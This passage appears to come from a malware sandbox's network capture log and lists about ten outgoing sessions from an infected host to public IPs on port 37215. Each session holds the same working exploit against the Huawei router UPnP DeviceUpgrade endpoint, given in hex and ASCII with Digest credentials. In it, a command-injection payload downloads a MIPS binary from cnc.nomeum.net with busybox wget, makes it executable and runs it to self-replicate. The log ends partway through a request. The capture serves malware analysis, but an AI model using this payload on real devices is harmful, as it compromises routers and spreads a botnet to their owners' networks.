6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.14	60220	197.153.188.64	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.484755039 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.14	46928	41.102.203.253	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.486260891 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.14	51222	41.33.42.250	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.487509966 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.14	46656	156.210.51.216	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.489434004 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.14	55708	41.237.78.220	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.490717888 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.14	51186	197.221.227.11	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.492192984 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.14	58274	197.94.191.86	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.493408918 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.14	36460	41.121.20.163	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.495265961 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.14	48954	41.50.101.100	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.496711016 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.14	58030	197.138.131.243	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.498076916 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 